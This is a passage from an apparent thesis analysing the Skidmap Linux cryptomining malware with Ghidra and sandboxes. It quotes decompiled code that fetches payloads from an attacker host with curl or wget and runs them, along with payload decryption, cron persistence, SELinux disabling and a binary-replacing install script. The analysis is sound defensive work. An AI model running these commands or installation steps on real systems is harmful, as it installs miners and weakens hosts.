                   "wge -c http://a.powerofwish.com/miner2 -0 /tmp/miner2 && chmod 755
                   /tmp/miner2 && /tmp/miner2"
                  ):
          }
```

Figure 5.2.3.5 – "miner2" download methods

The "miner2" file was retrieved via the "ANY.RUN" online sandbox [72] after providing the "https://a.powerofwish.com/miner2" URL and inspecting the corresponding response. During the "Classification" stage, the md5 hash was compared to the hardcoded string but they were not matching. Also, the "UPX" packer was identified, and the following command was inserted to the terminal:

• \$ upx -d miner2 -o unpacked_miner2

Although, the analysis of "miner2" is beyond the scope of the current thesis, the unpacked miner was imported to "ghidra". Afterwards, "ApplySig.py" was selected from the script manager (Figure 5.2.3.6), and the appropriate ".sig" file was chosen.

Linux Malware Analysis - A Skidmap case study

			Script Manager [CodeBrows	er: Skidmap:/unpacked_miner2]			-	•	×
<u>H</u> elp									
🜔 Script Manager - 241	scripts				0 🗣 🛛	2 🖨 🔑 🗶 🗉	🚨 🧐	-	×
🔻 🜔 Scripts 🔄	In T	Stat	Name 📐	Description	Кеу	Category	Modified	1	
📄 _NEW_			AddSingleReferenceInSwitchTable	With a user-inputed base address,		ARM	09/28/2	020	۸
🕨 🖻 Analysis 🧹			AppleSingleDoubleScript.java	Given a raw binary Apple Single/Do		Binary	09/28/2	020	
🗀 ARM	V		ApplySig.py	Apply IDA FLIRT signatures for Ghid		FunctionID	12/29/2	020	$\boldsymbol{\mathcal{A}}$
Assembly			ArmThumbFunctionTableScript.java	Makes functions out of a run of se		ARM	09/28/2	020	
🗎 Binary			AsciiToBinaryScript.java	Converts an ascii hex file into bina		Conversion	09/28/2	020	
🛅 Cleanup			AskScript.java	An example of asking for user inpu		Examples	09/28/2	020	
CodeAnalysi			AskScriptPy.py	An example of asking for user inpu		Examples->	09/28/2	020	
			AssembleBlockScript.java	Assemble hard-coded block of inst		Assembly	09/28/2	020	Ŧ
Filter:	Filter:							2 =	- 1
				=					
ApplySig.py									Ş

Figure 5.2.3.6 – Selecting the "ApplySig.py"

Upon various attempts, and upon taking into consideration the fact that the main program was compiled with gcc-5 (5.4.0-6ubuntu1~16.04.12), "libc6_2.23-0ubuntu9_amd64.sig" was applied and rendered the code more readable (Figure 5.2.3.7).

		Choose Sig file:		×		
← ⇒	me/remnux/D	ownloads/sig-database-master/ubuntu/libc6/16.04 (xenial)/amd64	S 🚵			
My Computer	libc6_2.	21-0ubuntu4_amd64.sig 📄 libc6_2.21-0ubuntu6_amd64.sig 📄 libc6_2.23 21-0ubuntu5_amd64.sig 📄 libc6_2.23-0ubuntu10_amd64.sig 📄 libc6_2.23	-0ubuntu1 -0ubuntu2	_amd64. _amd64.		
3	•)		.		
Desktop	File name:	libc6_2.23-0ubuntu9_amd64.sig				
	Туре:	All Files (*.*)		•		
ApplySig <u>C</u> ancel						

Figure 5.2.3.7 – Selecting signatures database

While there are many versions of miner2 samples in the wild, they all differ in the cryptocurrency that they focus. Upon file inspection with the use of "ghidra", some hardcoded strings within the binary were detected, providing enough information regarding the cryptocurrency that was being harvested.

. It was identified that the cryptocurrency mined was a coin named "sugar", and that the infected machines where contributing "hash power" to the pool "sugar.minerpool.com" while the funds were transferred to the malware author's wallet (Figure 5.2.3.8):

"sugar1qddpk0wgqtgufenz6z9zh4cjgrehk8ezud422p5q"

```
pcStack424 = "yespowersugar";
puStack416 = &DAT_0063045f;
pcStack408 = "sugar.cpuminerpool.com:3333";
puStack400 = &DAT_0063047e;
pcStack392 = "sugarlqddpk0wgqtgufenz6z9zh4cjgrehk8ezud42p5q";
_I0_puts("\n ********* cpuminer-opt 3.8.8.5-cpu-pool ********** ");
_I0_puts(" A CPU miner with multi algo support and optimized for CPUs");
_I0_puts(" with AES_NI and AVX2 and SHA extensions.");
_I0_puts(" BTC donation address: 12tdvfF7KmAsihBXQXynT6E6th2c2pByTT\n");
_Figure 5.2.3.8 - Sugar pool and author's wallet
```

One important thing to notice regarding blockchain technology, is the transparency between all transactions, thus one can verify every transaction made by one address. Therefore, in the case

of "miner2", and upon investigating the wallet address in sugar chain [73] the transactions that were achieved up to that date showed that the wallet was highly active. It was calculated that over 17000 euros had been received to this wallet while the current balance was over 2000 euros (Figure 5.2.3.9). The calculations were made taking into consideration the BTC/Euro exchange rate, which at the time of writing is 30435€.

SUGAR ADDRESS: sugariqddpk8wgqtgufenz6z9zh4cjgrehk8ezud42p5q							
Total Sent	Total Received	Final Balance	QR				
4657993.96851147 Sugar	5388158.68829601 Sucar	658164, 71978454 Sucar					
Latest Transactions							
Show 10 🗸 entries							
Timestamp		тхір	SUGAR				
3rd Feb 2021 21:45:26			313.35085828 +				
3rd Feb 2021 21:15:27		156.59762113 +					
3rd Feb 2021 20:45:23		117.11702125 +					
3rd Feb 2021 20:15:22	20:15:22 3fa130ed9c8ad2aeab7fb85a1d8b294b815189eb999b68fdccb0135b563c66c7						

Figure 5.2.3.9 – Sugar transactions

5.2.4 CentOS – RedHat

On the contrary, if the sample could identify the infected system as a Centos based distribution, the "centos" function would be executed. The parameter passed on this function, determined the file that would be downloaded. Either "cos8.tar.gz" or "cos7.tar.gz" might be the input of the "downFile" function, that as its name implies, it was responsible for downloading the given input.

After thoroughly investigating the "downFile" function, it was found out that the sample was checking the accessibility of "/usr/include/cos8.tar.gz" (or "/usr/include/cos7.tar.gz" if "cos7.tar.gz was provided as input"). Upon success, the current directory was changed to "/usr/include" and the MD5 hash of the file was calculated. The purpose of this calculation was to compare it with the hash "b8ab70d213015aee203039e12cca5344" (Figure 5.2.4.1). The hash comparison process was repeated for the digests "974f911ee11c61f080dd838d59f27d66" and "a82a49df9c4cbbdb162b4e9fc46ae4a5". In case that the outcome of the MD5 did not match with any of the hardcoded hashes, the function would exit. Although an online research about those hashes was performed, no valuable information was extracted.

```
lVar5 = 0x21;
puVar8 = local_lc8;
pcVar6 = "b8ab70d2l30l4aee203039el2cca5344";
do {
    if (lVar5 == 0) break;
    lVar5 = lVar5 + -1;
    bVar9 = *(char *)puVar8 == *pcVar6;
    puVar8 = (undefined8 *)((long)puVar8 + (ulong)bVar10 * -2 + 1);
    pcVar6 = pcVar6 + (ulong)bVar10 * -2 + 1;
} while (bVar9);
```

Figure 5.2.4.1 – Comparing MD5 hashes

On the contrary, if the file could not be located, the malware would attempt to download it, using the same variety of tools (one per attempt) that was encountered on the Debian path [page 55]. Those are:

- /usr/bin/curl
- /usr/bin/wget

- /usr/bin/cur
- /usr/bin/url
- /usr/bin/get
- /usr/bin/wge

The downloaded file would be saved inside /usr/include folder and its execution would follow (Figure 5.2.4.2).

```
iVar4 = access("/usr/bin/curl",0);
 if ((iVar4 == 0) || (iVar4 = access("/bin/curl",0), iVar4 == 0)) {
   pcVar6 = "curl -fs http://a.powerofwish.com/%s -o /usr/include/%s";
LAB 0040178c:
   __sprintf_chk(local_148,1,0x80,pcVar6,param_1,param_1);
 }
 else {
   iVar4 = access("/usr/bin/wget",0);
   if ((iVar4 == 0) || (iVar4 = access("/bin/wget",0), iVar4 == 0)) {
     pcVar6 = "wget -c http://a.powerofwish.com/%s -0 /usr/include/%s";
     goto LAB_0040178c;
   }
   iVar4 = access("/usr/bin/cur",0);
   if ((iVar4 == 0) || (iVar4 = access("/bin/cur",0), iVar4 == 0)) {
     pcVar6 = "cur -fs http://a.powerofwish.com/%s -o /usr/include/%s";
     goto LAB_0040178c;
   }
   iVar4 = access("/usr/bin/url",0);
   if ((iVar4 == 0) || (iVar4 = access("/bin/url",0), iVar4 == 0)) {
     pcVar6 = "url -fs http://a.powerofwish.com/%s -o /usr/include/%s";
     goto LAB_0040178c;
   3
   iVar4 = access("/usr/bin/wge",0);
   if ((iVar4 == 0) || (iVar4 = access("/bin/wge",0), iVar4 == 0)) {
     pcVar6 = "wge -c http://a.powerofwish.com/%s -0 /usr/include/%s";
     goto LAB_0040178c;
   }
   iVar4 = access("/usr/bin/get",0);
   if ((iVar4 == 0) || (iVar4 = access("/bin/get",0), iVar4 == 0)) {
     pcVar6 = "get -c http://a.powerofwish.com/%s -0 /usr/include/%s";
     goto LAB_0040178c;
   }
 }
 do {
   system((char *)local 148);
   iVar4 = access((char *)local_c8,0);
 } while (iVar4 != 0);
               Figure 5.2.4.2 – Downloading the given file
```

Both "cos8.tar.gz" and "cos7.tar.gz" were downloaded via "ANY.RUN", by providing the "http://a.powerofwish.com/cos8.tar.gz" and "http://a.powerofwish.com/cos7.tar.gz" arguments in the URL filed (Figure 5.2.4.3) [74] [75].
http://d.powerorwish.com/	cus7.tai.yz	×
Open in browser	Internet Explorer	Ţ
Download with User Agent	Type User Agent	
	Hide source o	fsampl
Change extension to valid	ON 🔵	OFF
Command Line:		
Optional command line		

Figure 5.2.4.3 – Inserting URL to ANY.RUN

Once the control returned to "centos" function, the directory was changed to "/usr/include" and the downloaded file was decrypted providing the password "jcx@076", and then decompressed (Figure 5.2.4.4).

```
iVar2 = chdir("/usr/include");
if (iVar2 == 0) {
    ____sprintf_chk(local_78,1,0x40,"dd if=%s|openssl des3 -d -k jcx@076|tar xzf -",&local_98);
    system((char *)local 78);
    Figure 5.2.4.4 - Decrypting and Decompressing the downloaded file
```

The files were transferred through the "REMnux GW" VM, using Python (python -m SimpleHTTPServer) and by visiting "10.0.0.8000" on the "REMnux Analysis" VM. For this to be feasible, the VM was turned off, and the "intranet" adapter was set back on. A new snapshot was taken once the VM was isolated again. The above procedure of decrypting (Figure 5.2.4.5) and decompressing (Figure 5.2.4.6) was manually performed on the analysis VM, to better understand the sample's code.



Figure 5.2.4.5 – Decrypting "cos8.tar.gz"



Figure 5.2.4.6 – Decompressing "8cos.tar.gz"

The next lines of code were changing the current directory to the extracted one ("cos8" or "cos7"). In case of failing to access the directory, it would be deleted ("/bin/rm -rf /usr/include/cos*"). On the contrary, upon successful directory change, a series of installations ("./install.sh" & "./installnet.sh") would take place prior to the directory removal. Finally, either "/usr/bin/systemd-udeved" or "/usr/bin/kaudited" would be executed, once again depending on the downloaded file; "cos8.tar.gz" or "cos7.tar.gz" respectively (Figure 5.2.4.7).

```
sprintf chk(local 78,1,0x40,"/usr/include/cos%d",uVar7);
uVar3 = chdir((char *)local_78);
if (uVar3 == 0) {
  system("./install.sh");
  lVar5 = 8;
  puVar6 = local 78;
 while (lVar5 != 0) {
    lVar5 = lVar5 + -1;
    *puVar6 = 0;
    puVar6 = puVar6 + (ulong)bVar8 * 0xlfffffffffffffff + 1;
  }
   _sprintf_chk(local_78,1,0x40,"./install-net.sh %s",&local_a8);
  system((char *)local_78);
  system("/bin/rm -rf /usr/include/cos*");
  if ((int)uVar7 == 8) {
    system("/usr/bin/systemd-udeved");
  }
  else {
    system("/usr/bin/kaudited");
  }
}
else {
  uVar3 = Oxffffffe;
  system("/bin/rm -rf /usr/include/cos*");
            Figure 5.2.4.7 – Actions performed on the extracted files
```

5.2.5 Returning to "main" function

While tracing the code back to the "main" function, it was figured out that the access to "/usr/bin/kaudited" file was checked. If this check was successful, the MD5 hash would be calculated so that it can be later compared to the "1da3de8db15766d42b8955683094caaa" and in case of failure with the "71ce5a1cf2ceea4a004b0d6347208360" MD5 hashes (Figure 5.2.5.1).

```
1Var7 = 0x21;
  puVar9 = auStack440;
  pcVarl1 = "lda3de8db15766d42b8955683094caaa";
  do {
    if (lVar7 == 0) break;
    lVar7 = lVar7 + -1;
    bVarl2 = *(char *)puVar9 == *pcVarll;
    puVar9 = (undefined8 *)((char *)puVar9 + (ulong)bVar13 * -2 + 1);
   pcVarl1 = pcVarl1 + (ulong)bVarl3 * -2 + 1;
  } while (bVarl2);
  if (bVarl2) break:
  1Var7 = 0x21;
  puVar9 = auStack440;
  pcVarl1 = "7lce5alcf2ceea4a004b0d6347208360";
  do {
    if (lVar7 == 0) break;
    lVar7 = lVar7 + -1;
    bVar12 = *(char *)puVar9 == *pcVar11;
    puVar9 = (undefined8 *)((char *)puVar9 + (ulong)bVar13 * -2 + 1);
    pcVarl1 = pcVarl1 + (ulong)bVarl3 * -2 + 1;
  } while (bVarl2);
} while (!bVarl2);
```

Figure 5.2.5.1 – Comparing MD5 hashes

If the comparison failed, the program would loop back to the OS fingerprinting stage (page 54). Otherwise, a series of system calls would follow. First, the "immutable" and the "append" attributes would be removed from the contents of the directories: "/var/spool/cron", "/etc.cron.d", "/etc/cron.hourly", "/etc/ld.so.conf.d". The renaming of "chattr" to "t" was already encountered before [6.2.2]. Next, all the contents of the first three directories name above, plus the "/etc/ld.so.conf.d/dynist-x86_64.conf" would be removed. Finally, the directory "/var/spool/cron/root" would be created and the immutable attribute would be set back to "/etc/cron.d" and "/etc/cron.hourly" (Figure 5.2.5.2).

```
system("t -ia -R /var/spool/cron && rm -rf /var/spool/cron/* && mkdir /var/spool/cron/root");
system("t -ia -R /etc/cron.d && rm -rf /etc/cron.d/* && t +i /etc/cron.d");
system("t -ia -R /etc/cron.hourly && rm -rf /etc/cron.hourly/* && t +i /etc/cron.hourly");
system("t -ia -R /etc/ld.so.conf.d && rm -rf /etc/ld.so.conf.d/dyninst-x86_64.conf");
Figure 5.2.5.2 - cron and ld.so changes
```

In addition to the previously mentioned call, "pc", "cc", "px", "1.jpg" and "pm.sh" were being removed and "httpdz", "migrations", "crloger1" and "crlogger27" were being killed. Moreover the "immutable" and "append" attributes of "usr/lib64/dyninst" were being removed prior to the removal of the contents of this directory (Figure 5.2.5.3).

system("rm -rf /var/lib/pc"); system("rm -rf /var/lib/cc"); system("rm -rf /var/lib/px"); system("rm -rf /var/lib/l.jpg"); system("rm -rf /var/lib/pm.sh"); system("killall -9 httpdz migrations crloger1 crloger27"); system("t -ia -R /usr/lib64/dyninst"); system("rm -rf /usr/lib64/dyninst/*"); Figure 5.2.5.3 - File removal and program kills

The MD5 hash of "/user/bin/kaudited" was calculated once again, and the 3 first characters of the result were stored on a variable. The access to the "kaudited file" and the capability of calculating its MD5 could grant access to the rest of the code. If any process that contained the strings "kaudited", "kswaped", "systemd-network", "rctlcli", "irqbalanced", "ip6network" or "pamdicks" was returned, would be eventually killed (Figure 5.2.5.4).

system("ps -ef|grep kaudited|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep kswaped|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep systemd-network|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep rctlcli|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep irqbalanced|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep ip6network|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep pamdicks|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep pamdicks|grep -v grep|awk \'{print \$2}\'|xargs kill -9"); system("ps -ef|grep pamdicks|grep -v grep|awk \'{print \$2}\'|xargs kill -9");

In addition, those programs were being removed from the "/usr/bin" directory. Also, "iproute.ko", "netlink.ko", "cryptov2.ko" would be removed from the "/lib/udev/ssd_control" directory. Next, "pamdicks.org" would be renamed to "/tmp/mmm", executed and then copied to "/usr/bin". Finally, the "immutable" and "append" attributes were removed from the "/etc/cron.d" folder, so that the cron rule "0 1 * * * root /bin/cp /usr/bin/mmm /tmp/mmm && /tmp/mmm" could be saved to "/etc/cron.d/watch". Upon completion, the "immutable" attribute was added to the contents of "/etc/cron.d" (Figure 5.2.5.5). The "cron" rule schedules the copy (from "/usr/bin" folder to "/tmp" one) and the execution of "mmm" file every day at 01:00 [76]

```
system(
    "cd /usr/bin/ && /bin/rm -f kaudited kswaped irqbalanced rctlcli systemd-network
    pamdicks"
    );
system("cd /lib/udev/ssd_control && /bin/rm -f iproute.ko netlink.ko cryptov2.ko");
system("cd /usr/bin/ && /bin/mv pamdicks.org /tmp/mmm && /tmp/mmm");
system("cd /usr/bin/ && /bin/mv pamdicks.org /tmp/mmm && /tmp/mmm");
system("t -ia /etc/cron.d");
system("t +i -R /etc/cron.d");
```

Figure 5.2.5.5 – Configuring "cron" to run "pamdicks.org"

5.2.6 Downloaded files

From previous steps, it was already known that the "miner2" file was meant to be downloaded and executed when the infected system was "Debian" based. The coin and the pool that was mined, as well as the author's wallet, were obtained by importing the unpacked "miner2" file to "ghidra" software. Therefore, it was suspected that those this kind of information could be obtained if further analysis the contents of "cos8.tar.gz" and "cos7.tar.gz" would occur. Although the contents of "cos8.tar.gz" on "REMnux Analysis" VM were successfully extracted, those of "cos7.tar.gz" were not recoverable (Figure 5.2.6.1).

remnux@remnux: ~/Downloads _ □	×
File Edit View Search Terminal Help	
<pre>remnux@remnux:~/Downloads\$ openssl des3 -d -k jcx@076 -in cos8.tar.gz -out 8.tar.gz *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. remnux@remnux:~/Downloads\$ openssl des3 -d -k jcx@076 -in cos7.tar.gz -out 7.tar.gz *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. bad decrypt 140711872774592:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decry :/crypto/evp/evp_enc.c:537: remnux@remnux:~/Downloads\$ tar xzf 8.tar.gz</pre>	pt
gzip: stdin: not in gzip format tar: Child returned status 1 tar: Error is not recoverable: exiting now remnux@remnux:~/Downloads\$ ls -la grep cos* Binary file cos7.tar.gz.zip matches grep: cos8: Is a directory remnux@remnux:~/Downloads\$	

Figure 5.2.6.1 – Failing to recover the contents of "cos7.tar.gz"

At that time, it was estimated that cos7.tar.gz was a previous version the "cos8.tar.gz" and the hardcoded password was not capable of decrypting it. However, during the behavioral analysis, a version 7 "CentOS" VM was created, where "cos7.tar.gz" could be decrypted and decompresses, while "cos8.tar.gz" was failing to do so. In this way, every related file hash was managed to be calculated (Table 5.2.6.1).

The "md5sum" tool was used on both "REMnux Analysis" and "CentOS" VMs:

• \$ md5sum cos8* & md5sum cos8/bin/*

• \$ md5sum cos7* & md5sum cos7/bin/*

Table 5.2.6.1 – MD5 nasnes of the decompressed files				
file	md5			
encrypted cos7.tar.gz	7b8fafb9d1a746909d20acd696330e48			
unencrypted cos7.tar.gz	b647803e76ca2f89ad177e7797c0d3c6			
encrypted cos8.tar.gz	b5ba00a3bcad8bdc720f71aba0167f21			
unencrypted cos8.tar.gz	e913612aa41a8bc232299346b09448f5			
со	s8/			
clear.sh	39a147674eacf937f88537eb53226e95			
install-net.sh	d41d8cd98f00b204e9800998ecf8427e			
install.sh	61dca576c462abefe8825381e88cbc10			
last.sh	d94c0adf178a0c540b287d2b7aad1787			
rctl.sh	08b38e9f77255bb2d4d5f6c21c580372			
readme.txt	1ecf152e4c1bf2245277dab50c3d7341			
cost	/bin/			
ip6network	d0b1b4992930a0d96a2732dae55bc7f7			
kaudited	112f37fb20a75ea3c03a2b5a5a2dd22f			
pamdicks.org	f12b6dba36142396851f37b65631bf75			
pamdicks-sugar	0db60a841d35089660885e275f50271f			
scp	6ea8421d044f9c62599490ad7023fd36			
SS	3b402e8bcaa88e7d613475d1bb5dd238			
ssh	a9393a3c6358554ab4a475109b09b886			
system-udeved.service	e527392047e9328d623bbf0edc467a0f			
wtmp	a40ca6f5fe465d766f90c558e277aa42			
CO	s7/			
clear.sh	cb1db36f2aca451200533d87007c6943			
install-net.sh	8ddf91f48da357632920f51a6cecd878			
install.sh	235ad45e137282fb09b6c75bbb1dd352			
install-ssh.sh	bb9d49ade493c7c0538afdb25e0a61da			
last.sh	d94c0adf178a0c540b287d2b7aad1787			
rctl.sh	08b38e9f77255bb2d4d5f6c21c580372			
readme.txt	1ecf152e4c1bf2245277dab50c3d7341			
cosī	/bin/			
ip6network	3c6ffbf3d7a1354a4877f7601f002db5			
kaudited	2803107a11f76ff279dc0802cb14d0b8			
network-7.0	e96d1a8be74bf00011f630444edd3574			
network-7.1	e5d05f3767a650ad5d534bdfd8ce2ffb			
network-7.2	376016032e9b50120cc60c1651b1f242			

Table 5.2.6.1 – MD5 hashes of the decompressed files

network-7.3	376016032e9b50120cc60c1651b1f242
network-7.4	45cde38fe5f84078712f899603c1dcba
network-7.5	45cde38fe5f84078712f899603c1dcba
network-7.6	d44908e9849b1841272618bd51a40182
network-7.7	d44908e9849b1841272618bd51a40182
network-7.8	d44908e9849b1841272618bd51a40182
pamdicks.org	f12b6dba36142396851f37b65631bf75
pamdicks-sugar	0db60a841d35089660885e275f50271f
rm	2180930dfa432258042e6c90b518874c
scp	814fbdeea184a0d95d4a88e3d5b65944
SS	ca0395ee5c4b96cac1d2e3985df42380
ssh	c936fa0be296a06f29a0cddea8eead4a
wtmp	6cb32495ffe0a7cb891abdf79718db65

Almost all files that were included in the "bin" subdirectory, were packed with "UPX", hence they could be unpacked by using the "upx" command:

• \$ upx -d <filename> -o <unpacked filename>

The md5 hashes of the unpacked files, are listed on the following table (Table 5.2.6.2).

file	md5			
cos8/bin/				
up_ip6network	1182a608c07fd9d91eee50b54d7bac0d			
up_kaudited	124116d27901ea10d548013c2968b7d8			
up_pamdicks.org	c292e2a3e97d6a9a8667556e4219489e			
up_pamdicks-sugar	67a6128b1140967506390137ee6a340b			
up_scp	e71998f6eba9c1ee3fd72654dad51512			
up_ss	4a95da9e2901f0115a56525cdb30ec97			
up_ssh	47956d2b89fc085a2ae84dffa606989d			
cos	7/bin/			
up_ip6network	9d568708ce6679970004ec7e145537fa			
up_kaudited	f2c16944dbe116e928108e4d170dc8e5			
up_pamdicks.org	c292e2a3e97d6a9a8667556e4219489e			
up_pamdicks-sugar	67a6128b1140967506390137ee6a340b			
up_rm	f3eda9bab1244305d976c4f07b23ce4c			
up_scp	11dc19c5b27cc29e0ced42743a059731			
up_ss	586e14bdeaa163831f24c60c970b595b			
up_ssh	0f3c1977084375bcb98f522880b78d50			
up_wtmp	a40ca6f5fe465d766f90c558e277aa42			

Table 5.2.6.2 - MD5 hashes of the unpacked binaries

By comparing the above checksums, it was concluded that "last.sh", "rctl.sh" and "readme.txt" files are the same for both "cos7.tar.gz" and "cos8.tar.gz". Moreover, "network-7.0" is the same as "network-7.1", "network-7.2" is the same as "network-7.3" and the files "network-7.6", "network-7.7" and "network-7.8" are identical. Finally, the "wtmp" file of "cos8" is the unpacked version of "cos7".

Instead of proceeding with the classification of each downloaded file, it was decided to upload the obtained checksums to "VirusTotal" in order to retrieve further information. However, only "pamdicks-sugar" (Figure 5.2.6.2), "rm" (Figure 5.2.6.3) and "up_rm" (Figure 5.2.6.4) were identified as malicious [77] [78] [79].

8	1 8 engines detected this file
? × Community Score	56e0174d76d82a1c6c127044bb85f696ef4842a140798b398691af6fa51b48f0 123 64bits elf upx
DETECTION	DETAILS COMMUNITY 1
Basic Properties	• ⁽¹⁾
MD5	0db60a841d35089660885e275f50271f
SHA-1	0a57b587e3f4b52aa0da75be0283a11f302cb83d
SHA-256	56e0174d76d82a1c6c127044bb85f696ef4842a140798b398691af6fa51b48f0
Vhash	ddf241103dd3666c5f7ace4954503279
SSDEEP	49152:afTN01AloFVueCsk10VfYeHSxHFtImBVMN4NMOntyGp+q1Y25:MhOAN6LsDVfYeHOimBVXnYKfj5
TLSH	T1D2A533118B8E6DC774CACCAAB725D2E203F143AB7B2358493A1B41F935D3ACE8472557
File type	ELF
Magic	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
TrID	ELF Executable and Linkable format (Linux) (50.1%)
TrID	ELF Executable and Linkable format (generic) (49.8%)
File size	1.97 MB (2067596 bytes)
Gandelf packer	upx

Figure 5.2.6.2 – VT results for "cos7/bin/pamdicks-sugar"

22	() 22 engines detected this file
? × Community Score	597dcab700a24b6b36f271325b8ecd03f217fa931d9dc72a2bc777ef3c9dcc92
DETECTION	DETAILS COMMUNITY
Basic Properties	s ①
MD5	2180930dfa432258042e6c90b518874c
SHA-1	147a15b3caf8488634fd76480833b6a0ffe2b291
SHA-256	597dcab700a24b6b36f271325b8ecd03f217fa931d9dc72a2bc777ef3c9dcc92
Vhash	ddf241103dd3666c5f7ace4954503279
SSDEEP	768:YwzbA7uh794oM/2/0NT5qsN4fc59wCrEAUFJ8wPE0OFrVpcqBrROkihhEiyb:hzb7h7BM/jqseICCr/wPE0OFrMMqhab
TLSH	T1D3F2F2922EBD4643F9B92376D4BEB64E6CAB72017989EEA6BCC4508837410C415065F3
File type	ELF
Magic	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
TrID	ELF Executable and Linkable format (Linux) (50.1%)
TrID	ELF Executable and Linkable format (generic) (49.8%)
File size	34.18 KB (35000 bytes)
Gandelf packer	upx

Figure 5.2.6.3 – VT results for "cos7/rm"

34	① 34 engines detected this file				
7 61 ? X Commu	f934baecf959178a7f0dc99f0316e957d6ef3c3a1d181421369b309d3cec82ab 171 64bits elf				
Scor	e				
DETEC	CTION DETAILS BEHAVIOR COMMUNITY				
Basic Prop	certies ()				
MD5	f3eda9bab1244305d976c4f07b23ce4c				
SHA-1	b62bd5b06a656f64493c1442af828fc14a8442fc				
SHA-256	f934baecf959178a7f0dc99f0316e957d6ef3c3a1d181421369b309d3cec82ab				
Vhash	hash e98e5135349228a11054ce4876e2ed67				
SSDEEP	1536: JXazezd9xcxCpt8 + M2xxOUDHkMfd5weTESH + qO/M5tTBkVQkhMylebhwjfUtTnn +: JQezd9Dpt52X67kVQ + Mylebh2fUtTnn + Marchaeter (Marchaeter) + Marchaeter) + Marchaeter (Marchae				
File type	ELF				
Magic	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped				
TrID	ELF Executable and Linkable format (Linux) (50.1%)				
TrID	ELF Executable and Linkable format (generic) (49.8%)				
File size	95.35 KB (97641 bytes)				
	Figure 5.2.6.4 – VT results for unpacked "cos7/rm"				

Since most of the hashes did not match any entry of the platform's database, they were uploaded once obtained. Only a subset of them was identified as malicious from a small portion of available AV engines, although 3 months had already passed since the appearance of this sample on "Malware Bazaar" repository.

5.2.7 Installation files

After the "cos8.tar.gz" decompression, the scripts "install.sh" and "install-net.sh" were examined since it was noticed that they were possibly executed inside "centos" function during the analysis of the sample.

The script "install.sh" performed various file changes, more specifically it changed the current directory to "/usr/include/cos8/bin/" and moved the "kaudited" file into "/usr/bin" as "systemd-udeved", alongside with "ssh", "scp", "ip6network", "systemd-udeved.service", and "wtmp". It then checked the total amount of system's RAM memory to decide which binary between "pamdicks.org" or "pamdicks-sugar" would be used. In either way, it will be moved as "/usr/bin/pamdicks.org" If the total amount of memory exceeded the value of 13.6 GB than the pamdick.org would be selected and the non-selected binary would be removed from the system. In case the file that provided this kind of information was absent, the "pamdicks-sugar" would be preferred over the "pamdicks.org" (Figure 5.2.7.1).



Furthermore, the script proceeded with the addition of a hashtag character in front of "Include", "GSSAPIAuthentication", "GSSAPIDelegateCredentials" strings found inside the "/etc/ssh/ssh config" file, essentially commenting out every line that starts with these strings. Subsequently, the "llib/systemd/system/" path would be created for the "systemd-udeved.service" of "cos8" to be relocated. Then, a symbolic link would be created for the paths:

- /etc/systemd/system/multi-user.target.wants/systemd-udeved.service •
- /etc/systemd/system/graphical.target.wants/systemd-udeved.service •

Also, the timestamp of the aforementioned file and its links would be altered to "2019-05-23 10:48:00". Once again it was ensured that the "SELINUX" configuration file would contain the lines "SELINUX=disabled" and "SELinux=targeted" and that setenforce would be set to permissive mode (Figure 5.2.7.2), just as the malware author implemented on the "writepam" function (5.2.1).



The "install-net.sh" file though was empty (Figure 5.2.7.3).

remnux@remnux: ~/Downloads/cos8	-		×
File Edit View Search Terminal Tabs Help			
remnux@remnux: ~/Download × remnux@remnux: ~/Downloads ×		Æ	•
<pre>remnux@remnux:~/Downloads/cos8\$ file install-net.sh install-net.sh: empty remnux@remnux:~/Downloads/cos8\$ ls -la grep install-net.sh -rwxr-xr-x 1 remnux remnux 0 Sep 7 2018 install-net.sh</pre>			

Once the files were extracted from "cos7.tar.gz", and upon performing some basic classification steps (calculating MD5 checksum, searching and uploading the files to VT and unpacking the binaries) the installation files located in "cos7" folder were analyzed. At first glance, the "cos7install.sh" script showed a high degree of similarity to the corresponding file of 'cos8'. However, the "kaudited" file was moved to "/usr/bin" path without being renamed to "system-udeved"

and managed by system-udeved.service. Another key difference is the replacement of "/bin/rm" file with the "rm" binary that was downloaded, which was commented out on "cos8/install.sh" script. Finally, when it comes to the changes of "/etc/ssh/config" no "Include" lines are commented out (Figure 5.2.7.4).

```
install.sh
                                                                       ≡
                                                                                 Open 👻
           Æ
                                                                Save
                                                                                      ×
                                       ~/Skidmap/cos7
ver=7
if [ $# -eq 1 ];then
        ver=$1
fi
cd bin
/bin/mv kaudited /usr/bin/
/bin/mv ssh scp /usr/bin/
#/bin/mv pamdicks.org /usr/bin
/bin/mv ip6network /usr/bin/
if [ -f /sbin/ss ]; then
        /bin/mv ss /sbin/
else
        /bin/mv ss /usr/sbin/
fi
/bin/mv wtmp /usr/bin/wtmp
if [ -f /proc/meminfo ];then
        mem=`cat /proc/meminfo |grep -i MemTotal|awk '{print $2}'`
        val=14268716
        if [ $mem -ge $val ];then
                /bin/mv pamdicks.org /usr/bin
                /bin/rm -f pamdicks-sugar
        else
                /bin/mv pamdicks-sugar /usr/bin/pamdicks.org
                /bin/rm -f pamdicks.org
        fi
else
        /bin/mv pamdicks-sugar /usr/bin/pamdicks.org
        /bin/rm -f pamdicks.org
fi
if [ ! -f /bin/rm ]; then
        /bin/mv rm /bin/
fi
sed -i 's/GSSAPIAuthentication/#GSSAPIAuthentication/g' /etc/ssh/ssh_config
sed -i 's/GSSAPIDelegateCredentials/#GSSAPIDelegateCredentials/g' /etc/ssh/ssh_config
                                            sh 👻 Tab Width: 8 👻
                                                                    Ln 3. Col 1
                                                                                     INS
                                                                                •
```

Figure 5.2.7.4 – The "cos7/install.sh" script

